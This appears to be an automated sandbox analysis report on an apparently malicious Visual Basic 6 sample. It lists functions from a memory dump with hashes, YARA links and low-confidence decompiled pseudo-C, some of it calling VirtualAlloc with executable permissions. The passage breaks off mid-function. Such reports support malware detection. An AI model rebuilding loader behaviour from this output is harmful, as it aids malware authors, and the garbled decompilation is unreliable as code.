Instruction ID: 6df5012cbca8dde3a0e4212af64758576b8974ff76454ffa43e66023509359a1
Opcode Fuzzy Hash: a723595e6588a99117fd45b5e8c5e519e65118446f7a25d6902ba3f808a4c25a
Instruction Fuzzy Hash: F2D0AE4184E3C14EC303627519255462F708C5365471B41EB94C1DF0E3999C085A87A6

Uniqueness

Uniqueness Score: -1.00%

Function 00401D42, Relevance: 1.5, APIs: 1, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b036b4092ee750a314f3182ba4adb31e9d53455e522f714953b0e0b9739e21d4
Instruction ID: c89076538e24ca2ac77f41b8c98a9e865250641ca7ba611854bf5cb4eef1c018
Opcode Fuzzy Hash: b036b4092ee750a314f3182ba4adb31e9d53455e522f714953b0e0b9739e21d4
Instruction Fuzzy Hash: 4C615461A0A3019AFF310530C9E476E2251EB56308F348E3BCD42F65D2EA3FC5C5964B

Uniqueness

Uniqueness Score: -1.00%

Function 00401C1A, Relevance: 1.5, APIs: 1, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb99941ca591e3af052ed4be2d1970a84eaecc2699eb7d0c041c6a6584f4e7ae
Instruction ID: bcca3279b028537cfecfddbeec1ed83889fe16d03af6a6c571049913c496be17
Opcode Fuzzy Hash: eb99941ca591e3af052ed4be2d1970a84eaecc2699eb7d0c041c6a6584f4e7ae
Instruction Fuzzy Hash: C3611562A097029AFF320234C9D572E2251EB55348F708F3BCD52EA5D2EA7FC4C59257

Uniqueness

Uniqueness Score: -1.00%

Function 00401C55, Relevance: 1.5, APIs: 1, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b20c1f6828d47a222d46c4579e5f20bda565bd39c78c2e44bd8593831ede4a0e
Instruction ID: a33432bf589984ed6eb807e8d0b5c0a8a757002330fc4f54155bbf07ad86556f
Opcode Fuzzy Hash: b20c1f6828d47a222d46c4579e5f20bda565bd39c78c2e44bd8593831ede4a0e
Instruction Fuzzy Hash: 92617961A0A7029AFF320134CAD476D2241EB56308F708F37C952FA6D2EA3FD4C6914B

Uniqueness

Uniqueness Score: -1.00%

Function 00401DA9, Relevance: 1.5, APIs: 1, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6880f306dac2ea64678a3c717c979885a376499409ad78df2421e69656b427fb
Instruction ID: 597a1b2feccd92af85a4453b3f14c0f9c9ff9d715a0d8f39fc1f38c4a136db1a
Opcode Fuzzy Hash: 6880f306dac2ea64678a3c717c979885a376499409ad78df2421e69656b427fb
Instruction Fuzzy Hash: 04515461A0A7019AFF310130C9E476D2651EB56348F348E3BCD52F65D2EA6FC1C5824B

Uniqueness

Uniqueness Score: -1.00%

Function 00401DCD, Relevance: 1.5, APIs: 1, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3ca0c544e26b659813fea09eeb0896b939a92780439d2339c6b6ddde02a3a7f
Instruction ID: bfbf7fbc0ffc6f0ff781adedfe63d7d2cfd90e0aaa82377782a5bd01ccbcabe0
Opcode Fuzzy Hash: f3ca0c544e26b659813fea09eeb0896b939a92780439d2339c6b6ddde02a3a7f
Instruction Fuzzy Hash: 6D515561A097029AFF310130CAE476D2651EB55308F708F3BC952F65D2EA7FC5C6964B

Uniqueness

Uniqueness Score: -1.00%

Function 00401FB2, Relevance: 1.4, APIs: 1, Instructions: 178memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000C000,00001000,00000040,?), ref: 00402267

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 3f1875f08243aa83aab0e07abf81e0b9d47b513e363476844101ed53766731b1
Instruction ID: e69b7990a53eea421fbe4f501f983455199dde517394db24743dffdf485f8203
Opcode Fuzzy Hash: 3f1875f08243aa83aab0e07abf81e0b9d47b513e363476844101ed53766731b1
Instruction Fuzzy Hash: C94136A1A09701AAFF360130C9D472D2241EB56308F708F7BC917FA2D2EA6FC5C18147

Uniqueness

Uniqueness Score: -1.00%

Function 00401EEC, Relevance: 1.4, APIs: 1, Instructions: 161memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000C000,00001000,00000040,?), ref: 00402267

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: fdaead68753fcecc84c3a6c5419bed76e6465cd396b7c448d9cdde5ef0b3c3fa
Instruction ID: a0d60ba680bd908fc9813926dbe99b89f4c3221df03c7ccee59acb1fb2b44177
Opcode Fuzzy Hash: fdaead68753fcecc84c3a6c5419bed76e6465cd396b7c448d9cdde5ef0b3c3fa
Instruction Fuzzy Hash: C3411051A0E7019AFF320230CAE4B2D2651EB56308F758F7BC962F51D2EA6FC4C69257

Uniqueness

Uniqueness Score: -1.00%

Function 00401F68, Relevance: 1.4, APIs: 1, Instructions: 155
memoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00401F68(void* __eax, signed int __ecx) {

				asm("fisttp word [esi]");
				 *((char*)(__eax - 7)) =  *((char*)(__eax - 7)) - 3;
				_push(0xc2a303f9);
				 *(__ecx + 0x15) =  *(__ecx + 0x15) & __ecx;
			}

0x00401f6a
0x00401f6c
0x00401f6d
0x00401f72

APIs

VirtualAlloc.KERNELBASE(00000000,0000C000,00001000,00000040,?), ref: 00402267

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 43f336c1bee4dce70efeb67a0c85c741e0e9a5fbe69bae6ba96878a0b4e8a2a4
Instruction ID: 42fd0d31fcd98db83a8f40369b43a28f72b41b663c82b76236f44b77b2a125de
Opcode Fuzzy Hash: 43f336c1bee4dce70efeb67a0c85c741e0e9a5fbe69bae6ba96878a0b4e8a2a4
Instruction Fuzzy Hash: 5D4102A1A0970199FF350130CAE472E2151EB59348F708F3BC952F65D2EA7FC5C55157

Uniqueness

Uniqueness Score: -1.00%

Function 00401FE2, Relevance: 1.4, APIs: 1, Instructions: 143memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000C000,00001000,00000040,?), ref: 00402267

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e3d7127c02f3b63305daee1ae078166e216aec278ce0290a4e147c6119c58283
Instruction ID: 6f64b15aec3673972551821e4d09f5ebe467f32679f04b0903cdfbb4360136f5
Opcode Fuzzy Hash: e3d7127c02f3b63305daee1ae078166e216aec278ce0290a4e147c6119c58283
Instruction Fuzzy Hash: F04124A1A097119AFF350130CEE472E2141EB55308F708F3BCA62F66D2EA6FC4C5515B

Uniqueness

Uniqueness Score: -1.00%

Function 004020A4, Relevance: 1.4, APIs: 1, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000C000,00001000,00000040,?), ref: 00402267

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 39453fb2e4469a27525197d124ebf2253a39d7647f14aed545c40d0683da75f3
Instruction ID: 729ba59687732814024dc5fa6acef8222c86a91ab111ab426f5b074864f824fe
Opcode Fuzzy Hash: 39453fb2e4469a27525197d124ebf2253a39d7647f14aed545c40d0683da75f3
Instruction Fuzzy Hash: 55419891A09710AAFF310230CDD476D3251EB56308F708F37C866EA1D2E9AFC4C68587

Uniqueness

Uniqueness Score: -1.00%

Function 00402213, Relevance: 1.4, APIs: 1, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000C000,00001000,00000040,?), ref: 00402267

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 914de3d0ef7ba1d30d411dc2c39164a4b512e346d3ec26e1ee576dc4a9383cd7
Instruction ID: aa43ac44022dab26d19a6cc0a1dcad71b94124b8aaa3c21ef3566c4e64a85867
Opcode Fuzzy Hash: 914de3d0ef7ba1d30d411dc2c39164a4b512e346d3ec26e1ee576dc4a9383cd7
Instruction Fuzzy Hash: 17318861409750AAEF321230CEE475D3691EF96308F348ABBC852EA1D3D66E84C2C257

Uniqueness

Uniqueness Score: -1.00%

Function 00402052, Relevance: 1.4, APIs: 1, Instructions: 132memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000C000,00001000,00000040,?), ref: 00402267

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 793239b6d28843730104223c0fc1065e0859b911b62581750933811eb6304398
Instruction ID: 06ac7be92cf4e2a75fe0e43f1d53788dbba31b564806973e7a0fc5aa209b7558
Opcode Fuzzy Hash: 793239b6d28843730104223c0fc1065e0859b911b62581750933811eb6304398
Instruction Fuzzy Hash: 75314491A1A711A9FF320130CEE4B2D2151EB59708F70CF3BC926E55D2E9AFC4C5519B

Uniqueness

Uniqueness Score: -1.00%

Function 00402133, Relevance: 1.4, APIs: 1, Instructions: 130memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000C000,00001000,00000040,?), ref: 00402267

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2955148063122762340691d4e1997b2e0dc83ab21340fcd0aa704e5632b576a0
Instruction ID: 35a9784aadcf3fcdcadaedaac1542a4f593a2c8ccd50b51c29d24d109aeb2010
Opcode Fuzzy Hash: 2955148063122762340691d4e1997b2e0dc83ab21340fcd0aa704e5632b576a0
Instruction Fuzzy Hash: 19315291A09301AAFF310230CED472D2111EB5A708F748F7BC866E92C3E9AFC4C68247

Uniqueness

Uniqueness Score: -1.00%

Function 004020D5, Relevance: 1.4, APIs: 1, Instructions: 118memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000C000,00001000,00000040,?), ref: 00402267

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 437dda9100a1297b361b4f594329e0cb34f262e40e247997e10420f153746be7
Instruction ID: 6df389124ed1dcb599a943137f3a1232bfb5be52f360314ee12c7136939039df
Opcode Fuzzy Hash: 437dda9100a1297b361b4f594329e0cb34f262e40e247997e10420f153746be7
Instruction Fuzzy Hash: 40314391A09701AAFF310230CED4B1D2151EB5A348F758F3BC856E66C2EABFC4C59157

Uniqueness

Uniqueness Score: -1.00%

Function 00402157, Relevance: 1.4, APIs: 1, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000C000,00001000,00000040,?), ref: 00402267

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b94f857eb3b10d9aa3f53300c926d45a786d62429d227eade2a6eac9edf0599c
Instruction ID: d6704ceb416d4e7d1c391702730439a0d6c70e2841150f6d4cc2f1b517a8db9c
Opcode Fuzzy Hash: b94f857eb3b10d9aa3f53300c926d45a786d62429d227eade2a6eac9edf0599c
Instruction Fuzzy Hash: 79310E91A0A710AAFF310230CEE0B2D2111EB5A708F748F37C966E66C2E9BFC4C55597

Uniqueness

Uniqueness Score: -1.00%

Function 004021C6, Relevance: 1.4, APIs: 1, Instructions: 100memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000C000,00001000,00000040,?), ref: 00402267

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9755b5433f828fa67bfcf72368cf52d85839c0aa6add7a46e360879d8b728754
Instruction ID: 525e74cb519866a95de45592c6ce9ec440c013d94a341dda8a9943769144c370
Opcode Fuzzy Hash: 9755b5433f828fa67bfcf72368cf52d85839c0aa6add7a46e360879d8b728754
Instruction Fuzzy Hash: E421428091A710A9FF320230CEE4B2D2521EB46308F758FBBC856E65C3D5BF80C69657

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040663D, Relevance: 2.8, Strings: 2, Instructions: 338COMMON

Download Yara Rule

Strings

6G/3, xrefs: 00406824
xa\, xrefs: 00406795

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 6G/3$xa\
API String ID: 0-1134648386
Opcode ID: 5f4bdaf7fc041730a86ba812ec3747a617f2974dca44670bbcb4e50a3f71c60f
Instruction ID: dd743f707ef3f4d1b0340283b83f349c172e3d27c0bf82f05dc079c2cb7885d5
Opcode Fuzzy Hash: 5f4bdaf7fc041730a86ba812ec3747a617f2974dca44670bbcb4e50a3f71c60f
Instruction Fuzzy Hash: ECC1012140FBC69FD3139B3888A11857F699E1323071F99EAC0D99F1B3D529484ECB7A

Uniqueness

Uniqueness Score: -1.00%

Function 0040912A, Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2200fd1b50699ca8fb8c8aab23ea2703e89ca632c4a378870beffb7c7433d9b7
Instruction ID: a625e5d0c908e1d40a39d6f88c91798f5e857633bee4be84c8e60183b838e7cd
Opcode Fuzzy Hash: 2200fd1b50699ca8fb8c8aab23ea2703e89ca632c4a378870beffb7c7433d9b7
Instruction Fuzzy Hash: B0A1AE2100F7C2DFD7139B38C8661957F69AE4723031E89EAD4D49F5B3C6294C49CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040CAF0, Relevance: .3, Instructions: 265
COMMONCrypto

Download Yara Rule

C-Code - Quality: 58%

			E0040CAF0(void* __ebx, intOrPtr* __ecx, intOrPtr* __edx, void* __edi, void* __esi) {
				signed int _t204;
				signed int _t205;
				signed int _t206;
				signed int _t207;
				void* _t282;
				intOrPtr* _t292;
				void* _t297;

				_t292 = __edx;
				_t205 = _t204;
				 *__ecx =  *__ecx;
				 *_t205 =  *_t205 + _t205;
				 *_t205 =  *_t205 + _t205;
				 *_t205 =  *_t205 + _t205;
				 *_t205 =  *_t205 + __edx;
				asm("rep outsd");
				 *__edx =  *__edx + __edx;
				_t297 = __edi - 1;
				asm("lodsd");
				_t206 = _t205;
				asm("stosb");
				 *((intOrPtr*)(_t206 - 0x2d)) =  *((intOrPtr*)(_t206 - 0x2d)) + _t206;
				asm("pushad");
				asm("rcl dword [ebx+0x7473694c], cl");
				 *_t206 =  *_t206 ^ _t206;
				 *_t206 =  *_t206 + _t206;
				_t282 = __ecx +  *((intOrPtr*)(_t297 - 0x53));
				_t207 = _t206;
				asm("stosb");
				 *((intOrPtr*)(_t207 - 0x2d)) =  *((intOrPtr*)(_t207 - 0x2d)) + _t207;
				asm("pushad");
				asm("rcl dword [ebx+0x6974704f], cl");
			}

0x0040caf0
0x0040caf0
0x0040caf1
0x0040caf5
0x0040caf7
0x0040caf9
0x0040cafb
0x0040cafd
0x0040caff
0x0040cb01
0x0040cb02
0x0040cb09
0x0040cb0b
0x0040cb0c
0x0040cb0d
0x0040cb0e
0x0040cb14
0x0040cb16
0x0040cb18
0x0040cb21
0x0040cb23
0x0040cb24
0x0040cb25
0x0040cb26

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9161f1b275dae45a5742a0f14ace43621a443436c100ff4f71fbb827a269809
Instruction ID: e279e2d60b5a922c8ec8e0dfa80ab0d2a7a2830086a43e3b8da34febaee5c270
Opcode Fuzzy Hash: c9161f1b275dae45a5742a0f14ace43621a443436c100ff4f71fbb827a269809
Instruction Fuzzy Hash: 9091726104E7D18FE70387748EAA555BFB0AE4325570E86EFC8C98F0E3D219590AD72B

Uniqueness

Uniqueness Score: -1.00%

Function 004171E6, Relevance: 31.6, APIs: 17, Strings: 1, Instructions: 113
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E004171E6(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a8, void* _a20, void* _a44) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				void* _v44;
				char _v60;
				intOrPtr _v68;
				intOrPtr _v76;
				void* _v80;
				signed int _v84;
				intOrPtr* _v88;
				signed int _v92;
				intOrPtr* _v104;
				signed int _v108;
				signed int _v112;
				signed int _t59;
				signed int _t63;
				signed int _t69;
				void* _t92;
				void* _t94;
				intOrPtr _t95;

				_t95 = _t94 - 0xc;
				 *[fs:0x0] = _t95;
				L00401670();
				_v16 = _t95;
				_v12 = 0x4015f8;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x58,  *[fs:0x0], 0x401676, _t92);
				L004017B4();
				L004017B4();
				L004017B4();
				_v68 = 0x40cec0;
				_v76 = 8;
				L0040179C();
				_t59 =  &_v60;
				_push(_t59);
				L00401706();
				L00401838();
				_push(_t59);
				_push(0);
				L004017A8();
				asm("sbb eax, eax");
				_v80 =  ~( ~_t59 + 1);
				L004017E4();
				L004017FC();
				_t63 = _v80;
				if(_t63 != 0) {
					if( *0x41839c != 0) {
						_v104 = 0x41839c;
					} else {
						_push(0x41839c);
						_push(0x40cc6c);
						L00401832();
						_v104 = 0x41839c;
					}
					_v80 =  *_v104;
					_t69 =  *((intOrPtr*)( *_v80 + 0x1c))(_v80,  &_v44);
					asm("fclex");
					_v84 = _t69;
					if(_v84 >= 0) {
						_v108 = _v108 & 0x00000000;
					} else {
						_push(0x1c);
						_push(0x40cc5c);
						_push(_v80);
						_push(_v84);
						L0040182C();
						_v108 = _t69;
					}
					_v88 = _v44;
					_t63 =  *((intOrPtr*)( *_v88 + 0x50))(_v88);
					asm("fclex");
					_v92 = _t63;
					if(_v92 >= 0) {
						_v112 = _v112 & 0x00000000;
					} else {
						_push(0x50);
						_push(0x40ce00);
						_push(_v88);
						_push(_v92);
						L0040182C();
						_v112 = _t63;
					}
					L00401826();
				}
				_push(0x41737f);
				L004017E4();
				L004017E4();
				L004017E4();
				return _t63;
			}

0x004171e9
0x004171f8
0x00417202
0x0041720a
0x0041720d
0x00417214
0x00417223
0x0041722c
0x00417237
0x00417242
0x00417247
0x0041724e
0x0041725b
0x00417260
0x00417263
0x00417264
0x0041726e
0x00417273
0x00417274
0x00417276
0x0041727d
0x00417282
0x00417289
0x00417291
0x00417296
0x0041729c
0x004172a9
0x004172c3
0x004172ab
0x004172ab
0x004172b0
0x004172b5
0x004172ba
0x004172ba
0x004172cf
0x004172de
0x004172e1
0x004172e3
0x004172ea
0x00417303
0x004172ec
0x004172ec
0x004172ee
0x004172f3
0x004172f6
0x004172f9
0x004172fe
0x004172fe
0x0041730a
0x00417315
0x00417318
0x0041731a
0x00417321
0x0041733a
0x00417323
0x00417323
0x00417325
0x0041732a
0x0041732d
0x00417330
0x00417335
0x00417335
0x00417341
0x00417341
0x00417346
0x00417369
0x00417371
0x00417379
0x0041737e

APIs

__vbaChkstk.MSVBVM60(?,00401676), ref: 00417202
__vbaStrCopy.MSVBVM60(?,?,?,?,00401676), ref: 0041722C
__vbaStrCopy.MSVBVM60(?,?,?,?,00401676), ref: 00417237
__vbaStrCopy.MSVBVM60(?,?,?,?,00401676), ref: 00417242
__vbaVarDup.MSVBVM60 ref: 0041725B
#667.MSVBVM60(?), ref: 00417264
__vbaStrMove.MSVBVM60(?), ref: 0041726E
__vbaStrCmp.MSVBVM60(00000000,00000000,?), ref: 00417276
__vbaFreeStr.MSVBVM60(00000000,00000000,?), ref: 00417289
__vbaFreeVar.MSVBVM60(00000000,00000000,?), ref: 00417291
__vbaNew2.MSVBVM60(0040CC6C,0041839C,00000000,00000000,?), ref: 004172B5
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040CC5C,0000001C,?,?,?,?,00000000,00000000,?), ref: 004172F9
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040CE00,00000050,?,?,?,?,00000000,00000000,?), ref: 00417330
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,00000000,00000000,?), ref: 00417341
__vbaFreeStr.MSVBVM60(0041737F,00000000,00000000,?), ref: 00417369
__vbaFreeStr.MSVBVM60(0041737F,00000000,00000000,?), ref: 00417371
__vbaFreeStr.MSVBVM60(0041737F,00000000,00000000,?), ref: 00417379

Strings

tmp, xrefs: 00417247

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$Copy$CheckHresult$#667ChkstkMoveNew2
String ID: tmp
API String ID: 2481030325-753892680
Opcode ID: 5b6db5a180c2a577096745f87770f10af0ceac660b0c2d8814ccebe4fd9fc513
Instruction ID: 0af54f6d4badfa718a2f0f42a8f0b0e827ff4dd858f10c2c743b53a6688d0027
Opcode Fuzzy Hash: 5b6db5a180c2a577096745f87770f10af0ceac660b0c2d8814ccebe4fd9fc513
Instruction Fuzzy Hash: 6441C635D00209DBCB00EFA5C985BDDBBB4AF14704F10812AE412BB2A1DB785A8ADB58

Uniqueness

Uniqueness Score: -1.00%

Function 00416B4E, Relevance: 22.6, APIs: 15, Instructions: 135
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E00416B4E(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				signed int _v48;
				intOrPtr* _v52;
				signed int _v56;
				intOrPtr* _v64;
				signed int _v68;
				intOrPtr* _v72;
				signed int _v76;
				signed int _t51;
				char* _t55;
				char* _t59;
				signed int _t63;
				char* _t67;
				signed int _t71;
				intOrPtr _t90;

				_push(0x401676);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t90;
				_t51 = 0x38;
				L00401670();
				_v12 = _t90;
				_v8 = 0x401598;
				_push(0x40ceac);
				L00401718();
				_push(_t51);
				L0040171E();
				L00401838();
				_push(_t51);
				_push(0x40ce54);
				L004017A8();
				asm("sbb eax, eax");
				_v44 =  ~( ~( ~_t51));
				L004017E4();
				_t55 = _v44;
				if(_t55 != 0) {
					if( *0x418010 != 0) {
						_v64 = 0x418010;
					} else {
						_push(0x418010);
						_push(0x40c210);
						L00401832();
						_v64 = 0x418010;
					}
					_t59 =  &_v36;
					L004017CC();
					_v52 = _t59;
					_t63 =  *((intOrPtr*)( *_v52 + 0x1e0))(_v52,  &_v28, _t59,  *((intOrPtr*)( *((intOrPtr*)( *_v64)) + 0x314))( *_v64));
					asm("fclex");
					_v56 = _t63;
					if(_v56 >= 0) {
						_v68 = _v68 & 0x00000000;
					} else {
						_push(0x1e0);
						_push(0x40cda0);
						_push(_v52);
						_push(_v56);
						L0040182C();
						_v68 = _t63;
					}
					if( *0x418010 != 0) {
						_v72 = 0x418010;
					} else {
						_push(0x418010);
						_push(0x40c210);
						L00401832();
						_v72 = 0x418010;
					}
					_t67 =  &_v40;
					L004017CC();
					_v44 = _t67;
